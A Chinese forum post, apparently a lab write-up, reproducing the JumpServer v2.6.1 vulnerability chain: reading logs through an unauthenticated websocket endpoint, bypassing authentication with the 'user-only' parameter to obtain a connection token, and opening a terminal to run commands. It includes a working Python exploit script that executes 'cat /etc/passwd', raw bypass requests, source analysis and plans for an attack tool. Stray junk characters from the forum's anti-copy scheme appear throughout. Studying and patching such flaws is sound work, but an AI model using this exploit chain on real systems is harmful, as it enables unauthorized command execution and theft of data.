马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?开始注册
x
下载安装包 # git clone https://github.com/jumpserver/installer.git# cd installer?国内docker源加速安装 # export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn# ./jmsctl.sh install升级到指定版本 # ./jmsctl.sh upgrade v2.6.1启动服务 #?./jmsctl.sh start#?./jmsctl.sh restart环境配置Jumpserver v2.6.1版本,访问服务正常,默认管理员账户admin/admin,初次登录须改密码。 1.添加管理用户。 资产管理里面的"管理用户"是jumpserver用来管理资产需要的服务账户,Jumpserver使用该用户来 '推送系统用户'、'获取资产硬件信息'等。 2.“资产列表”中添加资产 测试资产可连接性,保证资产存活 3.创建系统用户 系统用户是 Jumpserver 跳转登录资产时使用的用户,可以理解为登录资产的用户。 配置“登录方式”为自动登录 4.创建资产授权 5.使用“Web终端”连接资产 为保证漏洞复现顺利进行,需要在Web终端中连接某资产。 Web终端以root用户名登录机器。 若配置的登录模式为“手动登录”,所以需要输入密码进行连接。 "自动登录"则可调用系统预留密码直接连接。 0x02漏洞利用日志文件读取系统中/ws/ops/tasks/log/接口无身份校验,可直接与其建立websocket连接,当为“task”参数赋值为具体文件路径时,可获取其文件内容。系统接收文件名后会自动添加.log后缀,所以只能读取.log类型的日志文件。 默认/opt/jumpserver/logs/ 下存放日志文件,包含jumpserver.log、gunicorn.log、dapgne.log等。 gunicorn是常用的WSGI容器之一,用来处理Web框架和Web服务器之间的通信,gunicorn.log是API调用历史记录比较全的日志文件。 利用/ws/ops/tasks/log/接口查看/opt/jumpserver/logs/gunicorn.log文件内容,由于系统会自动添加.log后缀,故无须添加文件后缀,目标路径为 "/opt/jumpserver/logs/gunicorn" 即可。 ws://192.168.18.182:8080/ws/ops/tasks/log/{"task":"/opt/jumpserver/logs/gunicorn"}在日志中寻找有用数据,其中/api/v1/perms/asset-permissions/user/validate接口的请求记录值得注意,这个API是用来验证用户的资产控制权限的。由于web终端连接资产时会对用户所属资产权限进行校验,调用了这个接口,故会留下日志记录。其中asset_id、system_user_id、user_id参数值可以被利用。 asset_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0fsystem_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73user_id=f26371c9-18c3-4c4e-979f-95d34ffdb911认证绕过+获取token/api/v1/authentication/connection-token/接口和/api/v1/users/connection-token/接口均可通过user-only参数绕过权限认证。 两接口对数据的处理逻辑一致,其中post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,收到合法请求会将这个token返回。 上文从日志中获取到的三个参数值可以用在这里,分别赋值给post请求要求的data中的"user"、"asset"、"system_user"参数,同时在URL中添加user-only参数来绕过认证,最终获得一个20s有效期的token。 POST /api/v1/authentication/connection-token/?user-only=Veraxy HTTP/1.1Host: 192.168.18.182:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: csrftoken=GsRQYej2Fr3uk3xU9OPfZREl8Wn7xCXPqLSWQGIILIk7uz7izdqojUgYQ5UhG04j; jms_current_role=146; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7DUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 133user=f26371c9-18c3-4c4e-979f-95d34ffdb911&asset=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&system_user=a893cb8f-26f7-41a8-a983-1de24e7c3d73上图请求接口替换成/api/v1/users/connection-token/达到的目的一样 远程命令执行系统/koko/ws/token/接口要求"target_id"参数,携带合法"target_id"参数即可利用该接口建立TTY通信。 上文通过/api/v1/authentication/connection-token/接口获得的20s有效期的token可作为/koko/ws/token/接口的有效"target_id"参数值,从而建立websocket会话。 ws://192.168.18.182:8080/koko/ws/token/?target_id=0a14ec3d-312f-44e0-8224-da1a4151f32e借助脚本进行websocket通信 import asyncioimport websocketsimport requestsimport jsonurl = "/api/v1/authentication/connection-token/?user-only=None"# 向服务器端发送认证后的消息async def send_msg(websocket,_text): if _text == "exit": print(f'you have enter "exit", goodbye') await websocket.close(reason="user exit") return False await websocket.send(_text) recv_text = await websocket.recv() print(f"{recv_text}")# 客户端主逻辑async def main_logic(cmd): print("###start ws") async with websockets.connect(target) as websocket: recv_text = await websocket.recv() print(f"{recv_text}") resws=json.loads(recv_text) id = resws['id'] print("get ws id:"+id) print("#######1########") print("init ws") print("#######2########") inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":234,\"rows\":13 }"}) await send_msg(websocket,inittext) print("########3#######") print("exec cmd: ls") cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"}) print(cmdtext) await send_msg(websocket, cmdtext) for i in range(20): recv_text = await websocket.recv() print(f"{recv_text}") print('###finish')if __name__ == '__main__': host = "http://192.168.18.182:8080" cmd="cat /etc/passwd" if host[-1]=='/': host=host[:-1] print(host) data = {"user": "f26371c9-18c3-4c4e-979f-95d34ffdb911", "asset": "fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f", "system_user": "a893cb8f-26f7-41a8-a983-1de24e7c3d73"} print("##################") print("get token url:%s" % (host + url,)) print("##################") res = requests.post(host + url, json=data) token = res.json()["token"] print("token:%s", (token,)) print("##################") target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token print("target ws:%s" % (target,)) asyncio.get_event_loop().run_until_complete(main_logic(cmd)成功执行 "cat /etc/passwd" 命令 利用条件1.web终端登录方式为免密自动连接。 若配置为需要输入密码的手动登录,只有在攻击者已知目标资产登录密码(不现实),或此时系统用户与目标资产的会话连接未中断,从而让攻击者有机会复用SSH会话,漏洞利用成功,显然这种配置下漏洞利用大多失败。 当系统用户退出登录,由于没有可复用会话了,系统要求重新输入密码,否则无法建立连接。漏洞利用失败。 只有在系统用户登录模式配置为“自动登录”,即系统用户使用web终端操作时资产无须输入密码 ,可直接建立连接(某些情况下需要“自动推送”系统用户至资产才能实现免密连接),这种配置下,该漏洞才可被攻击者稳定利用。 开启自动登录和自动推送。 如果选择了自动推送, Jumpserver 会使用 Ansible 自动推送系统用户到资产中。 此时连接web终端不需要输入密码了,直接利用系统用户预存的密码建立连接。 这时我中断会话,再次测试,成功执行命令,此时不是复用SSH连接,而是直接连接,建立会话,从而执行命令。 jumpserver通常的配置都是自动登录的,这一条件容易满足。 2.系统用户在web终端与目标资产建立过连接。 只有系统用户在web终端访问过目标资产,才能在日志中留下访问记录,我们与目标建立连接的必要参数均在日志中获取。 3.系统日志路径已知 系统日志路径默认为/opt/jumpserver/logs,一些项目刻意修改日志路径会使得漏洞难以利用。 攻击流程回顾1.未授权的情况下通过 /ws/ops/tasks/log/ 接口建立websocket连接,读取日志文件 2.在日志文件中获取到用户、资产字段值、系统用户(user_id、asset_id、system_user_id) 3.携带这三个字段对 /api/v1/authentication/connection-token/ 或/api/v1/users/connection-token/接口发起POST请求(同时借助user-only参数绕过认证),得到一个20S有效期的token 4.通过该token与/koko/ws/token/接口建立websocket连接,模拟Web终端通信,执行命令。 0x03漏洞分析日志文件读取读取日志文件的接口为ws/ops/tasks/log/ 分析apps/ops/ws.py#CeleryLogWebsocket,connect()方法定义该接口直接连接,无认证 receive()方法要求请求data要携带task参数,随后会将“task”值传给handle_task() self.handle_task(task_id) -->self.read_log_file(self,task_id) -->self.wait_util_log_path_exist(task_id) --> get_celery_task_log_path(task_id),获取目标文件路径的方法,系统自动为路径末尾添加.log后缀,也就是只能读取到日志文件。 这里也是“task”参数值中的文件路径无须携带.log后缀的原因。 当系统连接资产时,会调用 validatePermission() 方法检查用户是否有权限连接,通过三个参数进行校验,分别为用户ID、资产ID、系统用户ID,三个参数值长期有效,可被进一步利用。 对应的接口是/api/v1/perms/asset-permissions/user/validate,请求记录均可在日志文件中找到 绕过身份验证获取tokenapps/authentication/api/auth.py,请求url中存在'user-only'参数且有值,则其权限为AllowAny,即允许访问。 分析apps/authentication/api/auth.py#UserConnectionTokenApi类,可处理get、post请求。 get请求处理函数取URL中"token"和"user-only"参数,合法请求会根据token返回user信息。 post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,合法请求会将这个token返回。 apps/authentication/api/auth.py#UserConnectionTokenApi类有哪些地方使用,共两处 刚好是官方公布的接口,这两个接口数据处理逻辑一致,所以利用的时候两者均可得到token。 /api/v1/authentication/connection-token//api/v1/users/connection-token/websocket建立TTY终端会话这个漏洞是通过websocket通信建立TTY终端,从而执行命令。 JumpServer中KoKo项目提供 Web Terminal 服务,分析系统中可建立TTY会话的几种方式。 建立TTY会话主要通过koko/pkg/httpd/webserver.go中runTTY() 实现 只有两个接口可以进入runTTY()方法,分别是processTerminalWebsocket和processTokenWebsocket方法 对应API为/koko/ws/terminal/ 和 /koko/ws/token/ ,接口handler位于koko/pkg/httpd/webserver.go#websocketHandlers() /koko/ws/terminal/系统中通过“会话管理”下“web终端”功能连接资产时,使用的是 /koko/ws/terminal/ 接口 ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73进行websocket通信 processTerminalWebsocket函数处理 /koko/ws/terminal/ 接口,要通过这个接口成功登录控制台需要一些必备参数,包括type、target_id、system_user_id,其中target_id为目标资产ID,system_user_id表示系统用户id。 注意:/koko/ws/terminal/ 接口的target_id与/koko/ws/token/ 接口的target_id虽然参数名一样,但却是两个完全不同的东西。 系统对 /koko/ws/terminal/ 接口通过?middleSessionAuth() 进行会话合法校验。 注意到 /koko/ws/token/ 接口却是无此类限制的。 /koko/ws/token//koko/ws/token/ 接口的处理函数位于koko/pkg/httpd/webserver.go#processTokenWebsocket,要求get请求携带“target_id”参数,系统会将该参数传递给 service.GetTokenAsset() 方法,获取token对应的user,从而建立TTY会话。 发现 GetTokenAsset() 是将“/api/v1/authentication/connection-token/?token=”与token值进行拼接,并发起Get请求,来获取用户身份的。 上文分析过 /api/v1/authentication/connection-token/ 接口,Get请求处理函数中定义,若仅携带有效token,则返回该用户所有信息,若同时携带token和不为None的user-only,则返回用户信息中的'user'字段值。 本次通信则是仅携带有效token,从而获取该用户所有身份信息。 综上,一个有效的“target_id”即可调用/koko/ws/token/ 接口进行websoket通信,从而建立TTY会话。 ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"CONNECT","data":""}{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"TERMINAL_INIT","data":"{\"cols\":140,\"rows\":6}"}而这个有效的“target_id”则通过上一章节“身份验证绕过”中分析的 /api/v1/authentication/connection-token/ 或 /api/v1/users/connection-token/接口来获得,需要在20s有效期内将token替换为target_id参数值来使用。 补丁分析漏洞整体分析下来,最关键的几个点,身份验证绕过以及websocket通信接口无校验,官方发布的新版本对其进行修复。 0x04关于websocketWebSocket 协议诞生于 2008 年,在 2011 年成为国际标准,WebSocket 同样是 HTML 5 规范的组成部分之一。 HTTP 协议是半双工协议,也就是说在同一时间点只能处理一个方向的数据传输,通信只能由客户端发起,属于单向传输,一般通过 Cookie 使客户端保持某种状态,以便服务器可以识别客户端。 WebSocket的出现,使得浏览器和服务器之间可以建立无限制的全双工通信。WebSocket 协议是全双工的,客户端会先发起请求建立连接,若服务器接受了此请求,则将建立双向通信,然后服务器和客户端就可以进行信息交互了,直到客户端或服务器发送消息将其关闭为止。 WebSocket特点: 1.默认端口是80和443,并且握手阶段采用 HTTP 协议,因此握手时不容易屏蔽,能通过各种 HTTP 代理服务器。 2.可以发送文本,也可以发送二进制数据。 3.没有同源限制,客户端可以与任意服务器通信。 4.协议标识符是ws(如果加密,则为wss) WebSocket通信WebSocket并不是全新的协议,而是利用了HTTP协议来建立连接。 建立连接客户端请求报文: GET / HTTP/1.1Upgrade: websocketConnection: UpgradeHost: example.comOrigin: http://example.comSec-WebSocket-Key: sN9cRrP/n9NdMgdcy2VJFQ==Sec-WebSocket-Version: 13Connection、Upgrade字段声明需要切换协议为websocket
, G! e4 f$ k$ [! _7 PSec-WebSocket-Key是由浏览器随机生成的,提供基本的防护,防止恶意或者无意的连接。
x8 f& K! y. @# e. x: w" M5 Z- XSec-WebSocket-Version表示 WebSocket 的版本,如果服务端不支持该版本,需要返回一个Sec-WebSocket-Versionheader,里面包含服务端支持的版本号。 服务端的响应报文: HTTP/1.1 101 Switching ProtocolsUpgrade: websocketConnection: UpgradeSec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=Sec-WebSocket-Protocol: chatUpgrade消息头通知客户端确认切换协议来完成这个请求; Sec-WebSocket-Accept是经过服务器确认,并且加密过后的Sec-WebSocket-Key; Sec-WebSocket-Protocol则是表示最终使用的协议。 注意:Sec-WebSocket-Key/Sec-WebSocket-Accept的换算,其实并没有实际性的安全保障。 进行通信服务端接收到客户端发来的Websocket报文需要进行解析。 数据包格式 Mask位表示是否要对数据载荷进行掩码异或操作。 Payload length表示数据载荷的长度。 Masking-key数据掩码,为防止早期版本的协议中存在的代理缓存污染攻击等问题而存在。 Payload Data为载荷数据。 服务端返回数据时不携带掩码,所以 Mask 位为 0,再按载荷数据的大小写入长度,最后写入载荷数据。 心跳WebSocket为了保持客户端、服务端的实时双向通信,需要确保客户端、服务端之间的TCP通道没有断开。对于长时间没有数据往来的通道,但仍需要保持连接,可采用心跳来实现。 发送方->接收方:ping 接收方->发送方:pong ping、pong的操作,对应的是WebSocket的两个控制帧,opcode分别是0x9、0xA。 关闭连接关闭连接标志着服务器和客户端之间的通信结束,标记通信结束后,服务器和客户端之间无法进一步传输消息。 Web Terminal实现通常所说的Terminal是指的终端模拟器,一般情况下终端模拟器是不会直接与shell通讯的,而是通过pty(Pseudoterminal,伪终端)来实现,pty 是一对 master-slave 设备。 终端模拟器通过文件读写流与 pyt master通讯,pty master再将字符输入传送给pty slave,pty slave进一步传递给bash执行。 Web Terminal则是实现在浏览器展示的终端模拟器,前后端建立WebSocket连接,保证浏览器和后端实时通信。 实现思路: 1.浏览器将主机信息传给后台, 并通过HTTP请求与后台协商升级协议,协议升级完成后, 得到一个和浏览器的web Socket连接通道
2 Z. `, g( O7 ~3 P* ]2.后台拿到主机信息, 创建一个SSH 客户端, 与远程主机的SSH 服务端协商加密, 互相认证, 然后建立一个SSH Channel
0 ~7 K# t" V7 M5 f7 g3.后台和远程主机有了通讯的信道,然后后台携带终端信息通过SSH Channel请求远程主机创建一对 pty, 并请求启动当前用户的默认 shell: y3 y# t! t! c3 m) g& J
4.后台通过 Socket连接通道拿到用户输入, 再通过SSH Channel将输入传给pty,pty将这些数据交给远程主机处理后,按照前面指定的终端标准输出到SSH Channel中, 同时键盘输入也会通过SSH Channel发送给远程服务端。1 s2 }% m$ n1 r
5.后台从SSH Channel中拿到按照终端大小的标准输出,通过Socket通信将输出返回给浏览器,由此实现了Web Terminal 携带多个参数对 /koko/ws/terminal/ 接口发起Get请求,初次握手,提出Upgrade为Websocket协议 GET ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73 HTTP/1.1Host: 192.168.18.182:8080Connection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Upgrade: websocketOrigin: http://192.168.18.182:8080Sec-WebSocket-Version: 13Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: csrftoken=0ZhWpozQIlm3fpJZRKP0vWcEm32JOlSSbtTBYmqlnHgrSwlMgXdJW0hnx4qJrT5s; sessionid=lbfnuoizl0mnixrwyo036ze65z7vfip0; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D; X-JMS-ORG=DEFAULT; jms_current_role=146Sec-WebSocket-Key: Cuf/c4n9TH20PU4HpCP4qQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsSec-WebSocket-Protocol: JMS-KOKO服务端识别有效字段,回应握手请求,同意upgrade为websocket协议,允许后续进行socket通信。 HTTP/1.1 101 Switching ProtocolsServer: nginxDate: Mon, 01 Feb 2021 17:29:47 GMTConnection: upgradeUpgrade: websocketSec-WebSocket-Accept: zdg0gD/H5Ev4u9hn5oIxlSVdvDg=Sec-WebSocket-Protocol: JMS-KOKO注意到使用web终端功能时,系统主要发起两个请求,分别是 ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73http://192.168.18.182:8080/koko/ ... 8-a983-1de24e7c3d73实际进行sokcet通信的是/koko/ws/terminal/接口,/koko/terminal/接口是协调处理sokcet通信输入输出的数据,将结果与前端融合并展示给用户,提供一个可视终端的效果。 Websocket认证即使用户经过了系统的认证,当与WebSocket接口进行socket连接时,同样需要再次认证。 一般Websocket的身份认证都是发生在握手阶段,客户端向验证请求中的内容,只允许经过身份验证的用户建立成功的Websocket连接。 可以通过基于cookie的传统方式,或基于Token的方式进行认证。 传统的基于cookie的方式采用这种方式,应用本身的认证和提供WebSocket的服务,可以是同一套session cookie的管理机制,也可以WebSocket服务接口自己来维护基于cookie的认证。 Jumpserver系统Web终端的功能,调用的/koko/ws/terminal/接口就是采用这种方式。 ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73请求URL中携带的参数值 target_id、type、system_user_id 基本长期复用,接口主要依靠建立会话传送的Cookie来识别身份,这里的session cookie的管理机制与系统是共享的。 基于Token的方式当客户端要与接口建立连接时,向http服务获取token,客户端作为初始握手的一部分携带有效token打开websocket连接,服务端验证token有效性合法性,认证通过则同意建立websocket会话连接。 漏洞执行命令利用的/koko/ws/token/接口采用的就是基于token方式进行认证 ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d接口取target_id参数值,识别参数值有效性及对应用户身份,认证通过则同意建立websocket连接。 认证方式对比传统基于cookie的方式,若websocket接口与系统协调同一种共享的认证方式,造成websocket服务与应用服务的耦合性大,依赖性强。若websocket服务自己维护基于cookie的认证,它只是一个解决通信连接的服务,为此付出成本不小。综上,还是采用基于token的认证方式更加高效。 采用基于token的认证方式则需要考虑提供token服务的API安全性,如本文分析的漏洞,提供token的/connection-token接口存在认证绕过问题,攻击者通过绕过/connection-token接口的身份验证,获取token,在有效时间内可与目标建立websocket连接。 0x05利用工具编写思路1.读取日志 根据上文漏洞利用的流程,需要先通过未授权的/ws/ops/tasks/log/接口读取日志文件/opt/jumpserver/logs/gunicorn.log ,其中包含大量的接口请求记录,我们需要提取/api/v1/perms/asset-permissions/user/validate/ 接口信息。 2.筛选可用资产 日志文件中提取出的数据为历史连接记录,但不一定可以被利用,需要对其进行连接测试,筛选出可被利用的资产。 3.执行命令 在可用资产列表中选择目标进行攻击,执行指定命令。 总结1.通过未授权的 /ws/ops/tasks/log/ 接口读取日志文件,我们仅筛选了部分接口信息,日志中包含大量数据,还有更多利用价值。 Y* M# ^" r4 l5 Q$ D+ p
2.官方给出的漏洞影响版本不准确,部分版本由于接口认证方式问题不可被利用。
+ ]! i* C8 r( Z; U; u9 ]4 [- n3.根据实际场景不同,漏洞利用工具还须继续改进,欢迎提出改进建议。 ( S; e. D4 G7 j' C1 B
|